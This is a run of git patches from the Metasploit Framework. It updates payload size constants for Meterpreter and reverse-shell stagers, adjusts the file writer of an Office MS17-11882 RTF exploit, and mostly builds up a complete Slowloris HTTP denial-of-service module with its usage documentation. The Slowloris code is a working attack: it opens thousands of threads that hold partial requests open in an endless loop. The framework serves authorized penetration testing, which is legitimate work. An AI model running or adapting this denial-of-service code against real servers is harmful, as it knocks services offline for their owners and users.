@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 205379
+  CachedSize = 205891
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb
index 635afb61ca..70521e2055 100644
--- a/modules/payloads/stagers/java/bind_tcp.rb
+++ b/modules/payloads/stagers/java/bind_tcp.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/java/bind_tcp'
 
 module MetasploitModule
 
-  CachedSize = 5118
+  CachedSize = 5303
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb
index 2d1498c7d5..8f011c61f2 100644
--- a/modules/payloads/stagers/java/reverse_http.rb
+++ b/modules/payloads/stagers/java/reverse_http.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/java/reverse_http'
 
 module MetasploitModule
 
-  CachedSize = 5123
+  CachedSize = 5386
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb
index d276ea2d52..a58aa42357 100644
--- a/modules/payloads/stagers/java/reverse_https.rb
+++ b/modules/payloads/stagers/java/reverse_https.rb
@@ -9,7 +9,7 @@ require 'msf/core/payload/java/reverse_https'
 
 module MetasploitModule
 
-  CachedSize = 5932
+  CachedSize = 6195
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb
index 5ad61693af..4f5110192a 100644
--- a/modules/payloads/stagers/java/reverse_tcp.rb
+++ b/modules/payloads/stagers/java/reverse_tcp.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/java/reverse_tcp'
 
 module MetasploitModule
 
-  CachedSize = 5118
+  CachedSize = 5303
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb
index 2b58ea764b..819f4848b9 100644
--- a/modules/payloads/stagers/windows/reverse_http.rb
+++ b/modules/payloads/stagers/windows/reverse_http.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_http'
 
 module MetasploitModule
 
-  CachedSize = 339
+  CachedSize = 347
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb
index 907fa651de..31e6d29a13 100644
--- a/modules/payloads/stagers/windows/reverse_https.rb
+++ b/modules/payloads/stagers/windows/reverse_https.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_https'
 
 module MetasploitModule
 
-  CachedSize = 359
+  CachedSize = 367
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb
index ba77689d2a..f79ba8c95d 100644
--- a/modules/payloads/stagers/windows/reverse_https_proxy.rb
+++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb
@@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https_proxy'
 
 module MetasploitModule
 
-  CachedSize = 397
+  CachedSize = 384
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb
index eb634588de..fd0d496261 100644
--- a/modules/payloads/stagers/windows/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttp.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_winhttp'
 
 module MetasploitModule
 
-  CachedSize = 357
+  CachedSize = 520
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb
index a7784e0c4c..07726c00c3 100644
--- a/modules/payloads/stagers/windows/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttps.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/reverse_winhttps'
 
 module MetasploitModule
 
-  CachedSize = 377
+  CachedSize = 542
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb
index 6a2686cc83..624fc33a65 100644
--- a/modules/payloads/stagers/windows/x64/reverse_http.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_http.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/x64/reverse_http'
 
 module MetasploitModule
 
-  CachedSize = 520
+  CachedSize = 529
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb
index d11003e5f5..7cee13664a 100644
--- a/modules/payloads/stagers/windows/x64/reverse_https.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_https.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/x64/reverse_https'
 
 module MetasploitModule
 
-  CachedSize = 551
+  CachedSize = 563
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
index 3ee66da58d..3571790029 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp'
 
 module MetasploitModule
 
-  CachedSize = 532
+  CachedSize = 746
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
index 0a70268db0..2ed98e3f61 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
@@ -8,7 +8,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps'
 
 module MetasploitModule
 
-  CachedSize = 563
+  CachedSize = 782
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows

From fcea6fd8d4af65ee9f308c5e149caf294d5a4eb9 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Tue, 21 Nov 2017 15:00:06 -0500
Subject: [PATCH 181/254] actually create new file ;-;

---
 modules/exploits/windows/fileformat/office_ms17_11882.rb | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb
index e5f44235ec..83995534f2 100644
--- a/modules/exploits/windows/fileformat/office_ms17_11882.rb
+++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb
@@ -134,10 +134,10 @@ class MetasploitModule < Msf::Exploit::Remote
     payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
     payload = header + payload + footer
 
-    rtf = File.new(datastore['FILENAME'], 'w')
-    rtf.write(payload)
-    rtf.close
-    rtf
+    ::File.open(datastore['FILENAME'], 'wb') do |fd|
+      fd.write(payload)
+      fd.close
+    end
   end
 
 

From a7932ffe0e36f913d4bfbe2a0ccfc7bb42730fa0 Mon Sep 17 00:00:00 2001
From: Brent Cook <busterb@gmail.com>
Date: Tue, 21 Nov 2017 14:31:14 -0600
Subject: [PATCH 182/254] fix sizes

---
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb   | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb  | 2 +-
 .../payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb    | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
index 3a5b484828..d1749f9c25 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1029776
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
index bc464ffbc7..bc1d3f2c08 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1029776
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
diff --git a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
index a01c6f9db5..cc021b9ff2 100644
--- a/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
 
 module MetasploitModule
 
-  CachedSize = 1029776
+  CachedSize = 1053924
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions

From f79b41edde1db4d5982c54dd768818d5292ad6ca Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Tue, 31 Oct 2017 16:30:09 +0000
Subject: [PATCH 183/254] Slow Loris

---
 modules/auxiliary/dos/http/slow_loris.rb | 71 ++++++++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 modules/auxiliary/dos/http/slow_loris.rb

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
new file mode 100644
index 0000000000..14f38175b0
--- /dev/null
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -0,0 +1,71 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(
+      info,
+      'Name'            => 'Slow Loris DoS',
+      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
+                              It accomplishes this by opening connections to the target web server and sending a partial request. 
+                              Periodically, it will send subsequent requests, adding to—but never completing—the request.},
+      'License'         => MSF_LICENSE,
+      'Author'          =>
+        [
+          'RSnake', # Vulnerability disclosure
+          'Daniel Teixeira' # Metasploit module
+        ],
+      'References'      =>
+        [
+          ['URL', 'https://www.exploit-db.com/exploits/8976/']
+        ],
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptInt.new('THREADS', [true, 'The number of concurrent threads', 5000]),
+        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 60])
+      ])
+  end
+
+  def thread_count
+    datastore['THREADS']
+  end
+
+  def timeout
+    datastore['TIMEOUT']
+  end
+
+  def run
+
+      starting_thread = 1
+      while true do
+        ubound = [thread_count].min
+        print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
+
+        threads = []
+        1.upto(ubound) do |i|
+          threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
+            begin
+              connect()
+              header = "GET / HTTP/1.1\r\n"
+              sock.puts(header)
+              sleep rand(1..15)
+              data = "X-a-#{rand(0..1000)}: b\r\n"
+              sock.puts(data)
+            end
+          end
+        end
+
+        threads.each(&:join)
+        print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
+        starting_thread += ubound
+      end
+  end
+end

From 29017b89267b50721cc961e28dfd719ae5e2d811 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Wed, 1 Nov 2017 10:01:42 +0000
Subject: [PATCH 184/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 14f38175b0..2e7c0939f4 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'            => 'Slow Loris DoS',
       'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
                               It accomplishes this by opening connections to the target web server and sending a partial request. 
-                              Periodically, it will send subsequent requests, adding to—but never completing—the request.},
+                              Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
       'Author'          =>
         [
@@ -22,7 +22,9 @@ class MetasploitModule < Msf::Auxiliary
         ],
       'References'      =>
         [
-          ['URL', 'https://www.exploit-db.com/exploits/8976/']
+          [ 'CVE', '2007-6750' ],
+          [ 'CVE', '2010-2227' ],
+          [ 'URL', 'https://www.exploit-db.com/exploits/8976/' ]
         ],
     ))
 
@@ -56,9 +58,11 @@ class MetasploitModule < Msf::Auxiliary
               connect()
               header = "GET / HTTP/1.1\r\n"
               sock.puts(header)
-              sleep rand(1..15)
-              data = "X-a-#{rand(0..1000)}: b\r\n"
-              sock.puts(data)
+              10.times do
+                data = "X-a-#{rand(0..1000)}: b\r\n"
+                sock.puts(data)
+                sleep rand(1..15)
+              end
             end
           end
         end

From 9457359b11606662a787f54827d573fe67341bf8 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Thu, 2 Nov 2017 14:02:59 +0000
Subject: [PATCH 185/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 2e7c0939f4..ee5f023550 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -45,8 +45,9 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def run
-
       starting_thread = 1
+      header = "GET / HTTP/1.1\r\n"
+    
       while true do
         ubound = [thread_count].min
         print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
@@ -56,7 +57,6 @@ class MetasploitModule < Msf::Auxiliary
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin
               connect()
-              header = "GET / HTTP/1.1\r\n"
               sock.puts(header)
               10.times do
                 data = "X-a-#{rand(0..1000)}: b\r\n"

From 60878215e0a48f0d7ae8c480d1b9af84de5477a9 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Fri, 3 Nov 2017 11:11:20 +0000
Subject: [PATCH 186/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index ee5f023550..afef986f49 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -47,12 +47,12 @@ class MetasploitModule < Msf::Auxiliary
   def run
       starting_thread = 1
       header = "GET / HTTP/1.1\r\n"
+      threads = []
     
       while true do
         ubound = [thread_count].min
         print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
-
-        threads = []
+        
         1.upto(ubound) do |i|
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin
@@ -66,9 +66,7 @@ class MetasploitModule < Msf::Auxiliary
             end
           end
         end
-
         threads.each(&:join)
-        print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
         starting_thread += ubound
       end
   end

From 21a6d0bd6ea13fbe0441b6b60b846aee08eb9306 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Fri, 3 Nov 2017 18:14:47 +0000
Subject: [PATCH 187/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index afef986f49..30b2e7005d 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(
       info,
       'Name'            => 'Slow Loris DoS',
-      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
+      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
                               It accomplishes this by opening connections to the target web server and sending a partial request. 
                               Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
@@ -48,11 +48,11 @@ class MetasploitModule < Msf::Auxiliary
       starting_thread = 1
       header = "GET / HTTP/1.1\r\n"
       threads = []
-    
       while true do
+
         ubound = [thread_count].min
         print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
-        
+
         1.upto(ubound) do |i|
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin

From 53123d92e2d79fdb01d93868aaf0d51a2c7a95a2 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Fri, 3 Nov 2017 18:19:12 +0000
Subject: [PATCH 188/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 30b2e7005d..1897c11b1a 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Auxiliary
       info,
       'Name'            => 'Slow Loris DoS',
       'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
-                              It accomplishes this by opening connections to the target web server and sending a partial request. 
+                              It accomplishes this by opening connections to the target web server and sending a partial request.
                               Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
       'Author'          =>

From 4419c0d85180eded7562221d1464d87946b19fbd Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Tue, 7 Nov 2017 20:51:26 +0000
Subject: [PATCH 189/254] Create slow_loris.md

---
 .../modules/auxiliary/dos/http/slow_loris.md  | 43 +++++++++++++++++++
 1 file changed, 43 insertions(+)
 create mode 100644 documentation/modules/auxiliary/dos/http/slow_loris.md

diff --git a/documentation/modules/auxiliary/dos/http/slow_loris.md b/documentation/modules/auxiliary/dos/http/slow_loris.md
new file mode 100644
index 0000000000..06a7846e08
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/http/slow_loris.md
@@ -0,0 +1,43 @@
+Vulnerable Application
+
+This module tries to keep many connections to the target web server open and hold them open as long as possible.
+
+Vulnerable app versions include:
+
+- Apache HTTP Server 1.x and 2.x
+- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
+
+Download the Metasploitable 2 vulnerable Linux virtual machine from [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
+
+Verification Steps
+
+1. Start msfconsole
+2. Do: use auxiliary/dos/http/slow_loris
+3. Do: set RHOST
+4. Do: run
+5. Visit server URL in your web-browser.
+
+Scenarios
+
+Apache/2.2.8 - Ubuntu 8.04
+
+```
+msf > use auxiliary/dos/http/slow_loris.rb
+msf auxiliary(slow_loris) > show options 
+
+Module options (auxiliary/dos/http/slow_loris):
+
+   Name     Current Setting  Required  Description
+   ----     ---------------  --------  -----------
+   RHOST    192.168.216.129  yes       The target address
+   RPORT    80               yes       The target port (TCP)
+   THREADS  5000             yes       The number of concurrent threads
+   TIMEOUT  60               yes       The maximum time in seconds to wait for each request to finish
+
+msf auxiliary(slow_loris) > set RHOST 192.168.216.129
+RHOST => 192.168.216.129
+msf auxiliary(slow_loris) > run
+
+[*] 192.168.216.129:80 - Executing requests 1 - 5000...
+
+```

From fbb9e9d47351b633ea9f2e40049e8293b65677e8 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Tue, 7 Nov 2017 20:53:06 +0000
Subject: [PATCH 190/254] Update slow_loris.md

---
 documentation/modules/auxiliary/dos/http/slow_loris.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/documentation/modules/auxiliary/dos/http/slow_loris.md b/documentation/modules/auxiliary/dos/http/slow_loris.md
index 06a7846e08..b7af5c00e4 100644
--- a/documentation/modules/auxiliary/dos/http/slow_loris.md
+++ b/documentation/modules/auxiliary/dos/http/slow_loris.md
@@ -1,4 +1,4 @@
-Vulnerable Application
+## Vulnerable Application
 
 This module tries to keep many connections to the target web server open and hold them open as long as possible.
 
@@ -9,7 +9,7 @@ Vulnerable app versions include:
 
 Download the Metasploitable 2 vulnerable Linux virtual machine from [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
 
-Verification Steps
+## Verification Steps
 
 1. Start msfconsole
 2. Do: use auxiliary/dos/http/slow_loris
@@ -17,9 +17,9 @@ Verification Steps
 4. Do: run
 5. Visit server URL in your web-browser.
 
-Scenarios
+## Scenarios
 
-Apache/2.2.8 - Ubuntu 8.04
+### Apache/2.2.8 - Ubuntu 8.04
 
 ```
 msf > use auxiliary/dos/http/slow_loris.rb

From b7bc68c84334fbfb65d24fae2cad57d1434ee561 Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Wed, 8 Nov 2017 21:55:53 +0000
Subject: [PATCH 191/254] Update slow_loris.rb

---
 modules/auxiliary/dos/http/slow_loris.rb | 27 ++++++++++++------------
 1 file changed, 13 insertions(+), 14 deletions(-)

diff --git a/modules/auxiliary/dos/http/slow_loris.rb b/modules/auxiliary/dos/http/slow_loris.rb
index 1897c11b1a..3d1a40d4ca 100644
--- a/modules/auxiliary/dos/http/slow_loris.rb
+++ b/modules/auxiliary/dos/http/slow_loris.rb
@@ -11,8 +11,8 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(
       info,
       'Name'            => 'Slow Loris DoS',
-      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
-                              It accomplishes this by opening connections to the target web server and sending a partial request.
+      'Description'     => %q{Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. 
+                              It accomplishes this by opening connections to the target web server and sending a partial request. 
                               Periodically, it will send subsequent requests, adding to but never completing the request.},
       'License'         => MSF_LICENSE,
       'Author'          =>
@@ -31,8 +31,8 @@ class MetasploitModule < Msf::Auxiliary
     register_options(
       [
         Opt::RPORT(80),
-        OptInt.new('THREADS', [true, 'The number of concurrent threads', 5000]),
-        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 60])
+        OptInt.new('THREADS', [true, 'The number of concurrent threads', 1000]),
+        OptInt.new('HEADERS', [true, 'The number of custom headers sent by each thread', 10])
       ])
   end
 
@@ -40,25 +40,24 @@ class MetasploitModule < Msf::Auxiliary
     datastore['THREADS']
   end
 
-  def timeout
-    datastore['TIMEOUT']
+  def headers
+    datastore['HEADERS']
   end
 
   def run
       starting_thread = 1
       header = "GET / HTTP/1.1\r\n"
       threads = []
-      while true do
-
-        ubound = [thread_count].min
-        print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
-
-        1.upto(ubound) do |i|
+    
+      loop do
+        print_status("Executing requests #{starting_thread} - #{(starting_thread + [thread_count].min) - 1}...")
+        
+        1.upto([thread_count].min) do |i|
           threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
             begin
               connect()
               sock.puts(header)
-              10.times do
+              headers.times do
                 data = "X-a-#{rand(0..1000)}: b\r\n"
                 sock.puts(data)
                 sleep rand(1..15)
@@ -67,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary
           end
         end
         threads.each(&:join)
-        starting_thread += ubound
+        starting_thread += [thread_count].min
       end
   end
 end

From 6d2007a4dbb6875642a6138fc857808c4e4e52ad Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Wed, 8 Nov 2017 22:04:51 +0000
Subject: [PATCH 192/254] Update slow_loris.md

---
 .../modules/auxiliary/dos/http/slow_loris.md  | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/documentation/modules/auxiliary/dos/http/slow_loris.md b/documentation/modules/auxiliary/dos/http/slow_loris.md
index b7af5c00e4..0ef5db604d 100644
--- a/documentation/modules/auxiliary/dos/http/slow_loris.md
+++ b/documentation/modules/auxiliary/dos/http/slow_loris.md
@@ -2,19 +2,19 @@
 
 This module tries to keep many connections to the target web server open and hold them open as long as possible.
 
+To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
+
 Vulnerable app versions include:
 
 - Apache HTTP Server 1.x and 2.x
 - Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
 
-Download the Metasploitable 2 vulnerable Linux virtual machine from [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
-
 ## Verification Steps
 
 1. Start msfconsole
-2. Do: use auxiliary/dos/http/slow_loris
-3. Do: set RHOST
-4. Do: run
+2. Do: `use auxiliary/dos/http/slow_loris`
+3. Do: `set RHOST`
+4. Do: `run`
 5. Visit server URL in your web-browser.
 
 ## Scenarios
@@ -22,22 +22,22 @@ Download the Metasploitable 2 vulnerable Linux virtual machine from [https://sou
 ### Apache/2.2.8 - Ubuntu 8.04
 
 ```
-msf > use auxiliary/dos/http/slow_loris.rb
-msf auxiliary(slow_loris) > show options 
+msf > use auxiliary/dos/http/slow_loris5
+msf auxiliary(slow_loris5) > show options 
 
-Module options (auxiliary/dos/http/slow_loris):
+Module options (auxiliary/dos/http/slow_loris5):
 
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
-   RHOST    192.168.216.129  yes       The target address
+   HEADERS  10               yes       The number of custom headers sent by each thread
+   RHOST                     yes       The target address
    RPORT    80               yes       The target port (TCP)
-   THREADS  5000             yes       The number of concurrent threads
-   TIMEOUT  60               yes       The maximum time in seconds to wait for each request to finish
+   THREADS  1000             yes       The number of concurrent threads
 
-msf auxiliary(slow_loris) > set RHOST 192.168.216.129
+msf auxiliary(slow_loris5) > set RHOST 192.168.216.129
 RHOST => 192.168.216.129
-msf auxiliary(slow_loris) > run
+msf auxiliary(slow_loris5) > run
 
-[*] 192.168.216.129:80 - Executing requests 1 - 5000...
+[*] 192.168.216.129:80 - Executing requests 1 - 1000...
 
 ```

From aa16288140892ca046a87457785476ddfcb4116f Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
Date: Thu, 9 Nov 2017 19:55:28 +0000
Subject: [PATCH 193/254] Update slow_loris.md

---
 documentation/modules/auxiliary/dos/http/slow_loris.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/documentation/modules/auxiliary/dos/http/slow_loris.md b/documentation/modules/auxiliary/dos/http/slow_loris.md
index 0ef5db604d..26d66104bf 100644
--- a/documentation/modules/auxiliary/dos/http/slow_loris.md
+++ b/documentation/modules/auxiliary/dos/http/slow_loris.md
@@ -22,10 +22,10 @@ Vulnerable app versions include:
 ### Apache/2.2.8 - Ubuntu 8.04
 
 ```
-msf > use auxiliary/dos/http/slow_loris5
-msf auxiliary(slow_loris5) > show options 
+msf > use auxiliary/dos/http/slow_loris
+msf auxiliary(slow_loris) > show options 
 
-Module options (auxiliary/dos/http/slow_loris5):
+Module options (auxiliary/dos/http/slow_loris):
 
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
@@ -34,9 +34,9 @@ Module options (auxiliary/dos/http/slow_loris5):
    RPORT    80               yes       The target port (TCP)
    THREADS  1000             yes       The number of concurrent threads
 
-msf auxiliary(slow_loris5) > set RHOST 192.168.216.129
+msf auxiliary(slow_loris) > set RHOST 192.168.216.129
 RHOST => 192.168.216.129
-msf auxiliary(slow_loris5) > run
+msf auxiliary(slow_loris) > run
 
 [*] 192.168.216.129:80 - Executing requests 1 - 1000...
 

From 74becb69e8e266e11480bb418be37c64d569952e Mon Sep 17 00:00:00 2001
From: Daniel Teixeira <DanielRTeixeira@users.noreply.github.com>
